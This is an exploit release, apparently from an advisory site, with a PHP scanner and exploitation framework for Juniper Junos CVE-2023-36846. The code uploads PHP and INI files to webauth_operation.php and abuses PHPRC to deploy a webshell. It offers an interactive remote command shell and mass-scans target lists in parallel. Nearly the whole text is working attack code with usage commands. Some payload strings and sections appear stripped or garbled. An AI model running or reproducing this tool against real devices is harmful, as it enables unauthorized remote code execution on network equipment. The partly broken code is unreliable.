============================================================================================================================================= | # Title : Juniper Junos OS 23.4 Modular Scanner & Exploitation Framework | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) | | # Vendor : https://support.juniper.net/support/eol/software/junos/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/213671/ & CVE-2023-36846 [+] Summary : This PHP script is a modular scanner and exploitation framework targeting Juniper JunOS CVE‑2023‑36846. It is designed with a clear separation of responsibilities and supports single‑target testing, interactive exploitation, and large‑scale batch scanning. [+] Key Components & Flow : Utilities (Utils) Helpers for screen clearing, URL normalization, and parsing target lists from files. HTTP Client (HttpClient) A reusable cURL wrapper with configurable timeouts, SSL verification, redirects, headers, and POST/GET handling. [+] Vulnerability Scanner (JunOSVulnerabilityScanner) : Detects whether the vulnerable endpoint (webauth_operation.php) is accessible. Attempts controlled file uploads using multiple size heuristics. Uploads a PHP test payload and an INI file to trigger execution via PHPRC. Verifies vulnerability by checking for unique execution markers. Performs cleanup after testing. [+] Exploitation Module (JunOSExploiter) : Deploys a functional webshell using the same upload/INI mechanism. Executes arbitrary commands through the webshell and captures output. Supports automated cleanup of deployed artifacts. [+] PoC : # Quick Scan `php junos_exploit.php -u https://target.com -r -v` # Interactive Shell `php junos_exploit.php -u https://target.com -v` # Bulk Scan `php junos_exploit.php -f targets.txt -t 10 -o results.txt` # Secure Scan (with SSL) `php junos_exploit.php -f targets.txt -s -v` verifySSL = $options['verify_ssl'] ?? false; $this->timeout = $options['timeout'] ?? 15; } public function setVerifySSL($verify) { $this->verifySSL = $verify; } public function request($url, $method = 'GET', $data = null, $headers = []) { $ch = curl_init(); $curlOptions = [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 3, CURLOPT_TIMEOUT => $this->timeout, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_USERAGENT => $this->userAgent, CURLOPT_SSL_VERIFYPEER => $this->verifySSL, CURLOPT_SSL_VERIFYHOST => $this->verifySSL ? 2 : 0, ]; $defaultHeaders = []; if (!isset($headers['Content-Type']) && $method === 'POST') { $defaultHeaders[] = 'Content-Type: application/x-www-form-urlencoded'; } $allHeaders = array_merge($defaultHeaders, $headers); if (!empty($allHeaders)) { $curlOptions[CURLOPT_HTTPHEADER] = $allHeaders; } if ($method === 'POST') { $curlOptions[CURLOPT_POST] = true; if ($data !== null) { if (is_array($data)) { $curlOptions[CURLOPT_POSTFIELDS] = http_build_query($data); } else { $curlOptions[CURLOPT_POSTFIELDS] = $data; } } } curl_setopt_array($ch, $curlOptions); $response = curl_exec($ch); $info = curl_getinfo($ch); $error = curl_error($ch); $errno = curl_errno($ch); curl_close($ch); return [ 'success' => $errno === 0, 'response' => $response, 'http_code' => $info['http_code'] ?? 0, 'error' => $error, 'errno' => $errno, 'info' => $info, ]; } } class JunOSVulnerabilityScanner { private $httpClient; private $baseUrl; private $verbose; private $randomPrefix; public function __construct($baseUrl, $verbose = false, $verifySSL = false) { $this->baseUrl = Utils::normalizeUrl($baseUrl); $this->verbose = $verbose; $this->randomPrefix = 'wt_' . bin2hex(random_bytes(4)); $this->httpClient = new HttpClient(['verify_ssl' => $verifySSL]); if ($verbose) { echo "[DEBUG] Scanner initialized for: {$this->baseUrl}\n"; echo "[DEBUG] Random prefix: {$this->randomPrefix}\n"; } } public function testUploadEndpoint() { $url = $this->baseUrl . "/webauth_operation.php"; $response = $this->httpClient->request($url); if ($response['http_code'] === 404 || $response['http_code'] === 403) { return false; } $testData = ['rs' => 'test']; $response = $this->httpClient->request($url, 'POST', $testData); return $response['http_code'] === 200; } private function attemptUpload($payload, $filename, $mimeType = 'text/html') { $uploadUrl = $this->baseUrl . "/webauth_operation.php"; $sizeAttempts = [ strlen(base64_encode($payload)), strlen($payload), strlen(base64_encode($payload)) * 2, ]; foreach ($sizeAttempts as $csize) { $b64Payload = base64_encode($payload); $fileData = "data:{$mimeType};base64,{$b64Payload}"; $postData = [ 'rs' => 'do_upload', 'rsargs[0]' => "[{\"fileData\":\"{$fileData}\",\"fileName\":\"{$filename}\",\"csize\":{$csize}}]" ]; if ($this->verbose) { echo "[DEBUG] Attempting upload with csize={$csize}\n"; } $response = $this->httpClient->request($uploadUrl, 'POST', $postData); if (!$response['success'] || $response['http_code'] !== 200) { continue; } $patterns = [ '/0:\s*\'([^\']+)\'\s*\},/', '/"0":"([^"]+)"/', '/\'0\':\'([^\']+)\'/', '/filename["\']?\s*:\s*["\']?([^"\'\s,]+)/i', ]; foreach ($patterns as $pattern) { if (preg_match($pattern, $response['response'], $matches)) { $uploadedFile = $matches[1]; if (strpos($uploadedFile, '..') !== false || strpos($uploadedFile, '/') !== false) { continue; } if ($this->verbose) { echo "[DEBUG] Extracted filename: {$uploadedFile}\n"; } return $uploadedFile; } } if (strpos($response['response'], 'fileName') !== false) { $jsonMatch = []; if (preg_match('/\{"?0"?:\s*"([^"]+)"\}/', $response['response'], $jsonMatch)) { return $jsonMatch[1]; } } } return null; } public function testVulnerability() { if ($this->verbose) { echo "[*] Testing vulnerability for: {$this->baseUrl}\n"; } if (!$this->testUploadEndpoint()) { if ($this->verbose) { echo "[-] Upload endpoint not accessible\n"; } return false; } $uniqueToken = $this->randomPrefix . '_test_' . bin2hex(random_bytes(4)); $phpPayload = ""; $phpFile = $this->attemptUpload($phpPayload, $this->randomPrefix . '.php'); if ($phpFile === null) { if ($this->verbose) { echo "[-] PHP upload failed\n"; } return false; } $iniPayload = 'auto_prepend_file="/var/tmp/' . $phpFile . '"'; $iniFile = $this->attemptUpload($iniPayload, $this->randomPrefix . '.ini', 'text/plain'); if ($iniFile === null) { $this->attemptCleanup($phpFile, null); if ($this->verbose) { echo "[-] INI upload failed\n"; } return false; } $testUrl = $this->baseUrl . "/webauth_operation.php?PHPRC=/var/tmp/{$iniFile}"; $response = $this->httpClient->request($testUrl); $isVulnerable = false; $cleanupFiles = ['php' => $phpFile, 'ini' => $iniFile]; if (strpos($response['response'], $uniqueToken) !== false) { $isVulnerable = true; } else { $cmdTestUrl = $testUrl . "&0=echo+" . urlencode($uniqueToken); $cmdResponse = $this->httpClient->request($cmdTestUrl); if (strpos($cmdResponse['response'], $uniqueToken) !== false) { $isVulnerable = true; } else { if (preg_match('/\[S\](.*?)\[E\]/s', $cmdResponse['response'], $matches)) { if (strpos($matches[1], $uniqueToken) !== false) { $isVulnerable = true; } } } } $this->attemptCleanup($phpFile, $iniFile); return $isVulnerable; } private function attemptCleanup($phpFile, $iniFile) { if ($phpFile) { $cleanupUrl = $this->baseUrl . "/webauth_operation.php?PHPRC=/var/tmp/{$iniFile}&delete=1"; $this->httpClient->request($cleanupUrl); } if ($iniFile) { $emptyIni = ''; $this->attemptUpload($emptyIni, $iniFile, 'text/plain'); } } public function getExploitInstance() { return new JunOSExploiter($this->baseUrl, $this->verbose, $this->httpClient, $this->randomPrefix); } } class JunOSExploiter { private $baseUrl; private $httpClient; private $verbose; private $randomPrefix; private $uploadedFiles = []; public function __construct($baseUrl, $verbose, $httpClient, $randomPrefix) { $this->baseUrl = $baseUrl; $this->httpClient = $httpClient; $this->verbose = $verbose; $this->randomPrefix = $randomPrefix; } public function deployWebshell() { $phpFilename = $this->randomPrefix . '_shell.php'; $iniFilename = $this->randomPrefix . '_config.ini'; $phpPayload = <<<'PHP' PHP; $scanner = new JunOSVulnerabilityScanner($this->baseUrl, $this->verbose); $phpFile = $scanner->attemptUpload($phpPayload, $phpFilename); if (!$phpFile) { throw new Exception("Failed to upload PHP webshell"); } $iniPayload = 'auto_prepend_file="/var/tmp/' . $phpFile . '"'; $iniFile = $scanner->attemptUpload($iniPayload, $iniFilename, 'text/plain'); if (!$iniFile) { throw new Exception("Failed to upload INI configuration"); } $this->uploadedFiles = [ 'php' => $phpFile, 'ini' => $iniFile, 'shell_url' => $this->baseUrl . "/webauth_operation.php?PHPRC=/var/tmp/{$iniFile}" ]; $testUrl = $this->uploadedFiles['shell_url'] . "&cmd=whoami"; $testResponse = $this->httpClient->request($testUrl); if (!preg_match('/\[S\].*\[E\]/s', $testResponse['response'])) { $this->cleanup(); throw new Exception("Webshell deployed but not functional"); } return $this->uploadedFiles; } public function executeCommand($command) { if (empty($this->uploadedFiles)) { throw new Exception("Webshell not deployed"); } $url = $this->uploadedFiles['shell_url'] . "&cmd=" . urlencode($command); $response = $this->httpClient->request($url); if (preg_match('/\[S\](.*?)\[E\]/s', $response['response'], $matches)) { return trim($matches[1]); } return $response['response']; } public function cleanup() { if (empty($this->uploadedFiles)) { return false; } $cleanupUrl = $this->baseUrl . "/webauth_operation.php?PHPRC=/var/tmp/{$this->uploadedFiles['ini']}&cleanup=1&ini={$this->uploadedFiles['ini']}"; $this->httpClient->request($cleanupUrl); $this->uploadedFiles = []; return true; } public function __destruct() { $this->cleanup(); } } class InteractiveShell { private $exploiter; private $isWindows; public function __construct($exploiter) { $this->exploiter = $exploiter; $this->isWindows = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; } public function run() { echo "\n" . str_repeat("=", 60) . "\n"; echo "JunOS Interactive Shell\n"; echo "Type 'exit' or 'quit' to leave (auto-cleanup enabled)\n"; echo "Type 'clear' to clear screen\n"; echo "Type 'help' for commands\n"; echo str_repeat("=", 60) . "\n\n"; $stdin = fopen('php://stdin', 'r'); while (true) { echo "junos> "; $command = trim(fgets($stdin)); if (empty($command)) { continue; } $cmdLower = strtolower($command); if (in_array($cmdLower, ['exit', 'quit'])) { echo "[*] Exiting and cleaning up...\n"; break; } elseif ($cmdLower === 'clear') { Utils::clearScreen(); continue; } elseif ($cmdLower === 'help') { $this->showHelp(); continue; } elseif ($cmdLower === 'pwd') { $command = 'pwd'; } try { $result = $this->exploiter->executeCommand($command); echo "[+] Result:\n" . $result . "\n"; } catch (Exception $e) { echo "[!] Error: " . $e->getMessage() . "\n"; } } fclose($stdin); } private function showHelp() { echo "\nAvailable commands:\n"; echo " exit, quit - Exit shell and cleanup\n"; echo " clear - Clear screen\n"; echo " help - Show this help\n"; echo " whoami - Check current user\n"; echo " pwd - Print working directory\n"; echo " id - Show user/group IDs\n"; echo " ls [dir] - List directory\n"; echo " cat - View file\n"; echo " uname -a - System info\n"; echo "\n"; } } class BatchScanner { private $threads; private $outputFile; private $verbose; private $verifySSL; public function __construct($threads = 5, $outputFile = null, $verbose = false, $verifySSL = false) { $this->threads = max(1, min($threads, 50)); $this->outputFile = $outputFile; $this->verbose = $verbose; $this->verifySSL = $verifySSL; } public function scanUrls($urls) { $total = count($urls); $vulnerable = 0; $results = []; echo "[*] Starting batch scan with {$this->threads} threads\n"; echo "[*] Targets: {$total}\n"; echo "[*] SSL Verification: " . ($this->verifySSL ? "ON" : "OFF") . "\n"; echo str_repeat("-", 60) . "\n"; $chunks = array_chunk($urls, ceil($total / $this->threads)); $workers = []; foreach ($chunks as $chunkIndex => $chunk) { $pid = pcntl_fork(); if ($pid == -1) { die("Could not fork"); } elseif ($pid) { // Parent process $workers[] = $pid; } else { // Child process $childResults = []; foreach ($chunk as $url) { try { $scanner = new JunOSVulnerabilityScanner($url, $this->verbose, $this->verifySSL); $isVuln = $scanner->testVulnerability(); if ($isVuln) { $childResults[] = $url; echo "[+] {$url} - VULNERABLE (PID: " . getmypid() . ")\n"; } elseif ($this->verbose) { echo "[-] {$url} - NOT vulnerable (PID: " . getmypid() . ")\n"; } } catch (Exception $e) { if ($this->verbose) { echo "[!] {$url} - ERROR: " . $e->getMessage() . "\n"; } } } $resultFile = sys_get_temp_dir() . '/junos_scan_' . getmypid() . '.tmp'; file_put_contents($resultFile, implode("\n", $childResults)); exit(0); } } foreach ($workers as $pid) { pcntl_waitpid($pid, $status); $resultFile = sys_get_temp_dir() . '/junos_scan_' . $pid . '.tmp'; if (file_exists($resultFile)) { $childUrls = file($resultFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); $results = array_merge($results, $childUrls); unlink($resultFile); } } if (empty($workers)) { // معالجة متسلسلة foreach ($urls as $url) { try { $scanner = new JunOSVulnerabilityScanner($url, $this->verbose, $this->verifySSL); $isVuln = $scanner->testVulnerability(); if ($isVuln) { $results[] = $url; echo "[+] {$url} - VULNERABLE\n"; } elseif ($this->verbose) { echo "[-] {$url} - NOT vulnerable\n"; } } catch (Exception $e) { if ($this->verbose) { echo "[!] {$url} - ERROR: " . $e->getMessage() . "\n"; } } } } if ($this->outputFile && !empty($results)) { file_put_contents($this->outputFile, implode("\n", $results) . "\n", LOCK_EX); echo "[*] Results saved to: {$this->outputFile}\n"; } echo str_repeat("-", 60) . "\n"; echo "[*] Scan completed. Vulnerable: " . count($results) . "/{$total}\n"; return $results; } } function main() { $options = getopt("t:o:f:u:vsrh", [ "threads:", "output:", "file:", "url:", "verbose", "ssl", "report", "help" ]); if (isset($options['h']) || isset($options['help'])) { showHelp(); exit(0); } $threads = isset($options['t']) ? (int)$options['t'] : (isset($options['threads']) ? (int)$options['threads'] : 5); $output = isset($options['o']) ? $options['o'] : (isset($options['output']) ? $options['output'] : null); $file = isset($options['f']) ? $options['f'] : (isset($options['file']) ? $options['file'] : null); $url = isset($options['u']) ? $options['u'] : (isset($options['url']) ? $options['url'] : null); $verbose = isset($options['v']) || isset($options['verbose']); $verifySSL = isset($options['s']) || isset($options['ssl']); $reportOnly = isset($options['r']) || isset($options['report']); if ($url && $reportOnly) { echo "[*] Quick vulnerability check for: {$url}\n"; $scanner = new JunOSVulnerabilityScanner($url, true, $verifySSL); $isVuln = $scanner->testVulnerability(); if ($isVuln) { echo "\n[✓] TARGET IS VULNERABLE TO CVE-2023-36846\n"; exit(0); } else { echo "\n[✗] Target is NOT vulnerable\n"; exit(1); } } if ($url && !$reportOnly) { echo "[*] Starting interactive mode for: {$url}\n"; try { $scanner = new JunOSVulnerabilityScanner($url, true, $verifySSL); if (!$scanner->testVulnerability()) { echo "[!] Target does not appear to be vulnerable\n"; echo "[?] Continue anyway? (y/N): "; $confirm = trim(fgets(STDIN)); if (strtolower($confirm) !== 'y') { exit(1); } } $exploiter = $scanner->getExploitInstance(); $files = $exploiter->deployWebshell(); echo "[+] Webshell deployed successfully\n"; echo "[+] PHP file: {$files['php']}\n"; echo "[+] INI file: {$files['ini']}\n"; echo "[+] Access URL: {$files['shell_url']}\n\n"; $shell = new InteractiveShell($exploiter); $shell->run(); } catch (Exception $e) { echo "[!] Error: " . $e->getMessage() . "\n"; exit(1); } exit(0); } if ($file) { try { $urls = Utils::parseUrlsFile($file); if (empty($urls)) { echo "[!] No valid URLs found in file\n"; exit(1); } $scanner = new BatchScanner($threads, $output, $verbose, $verifySSL); $results = $scanner->scanUrls($urls); if (!empty($results)) { echo "\n[*] Vulnerable hosts found:\n"; foreach ($results as $vulnUrl) { echo " - {$vulnUrl}\n"; } } } catch (Exception $e) { echo "[!] Error: " . $e->getMessage() . "\n"; exit(1); } exit(0); } echo "[!] Invalid arguments\n"; showHelp(); exit(1); } function showHelp() { echo <<getMessage() . "\n"; exit(1); } } else { header('HTTP/1.1 403 Forbidden'); echo "This tool must be run from command line\n"; exit(1); } ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================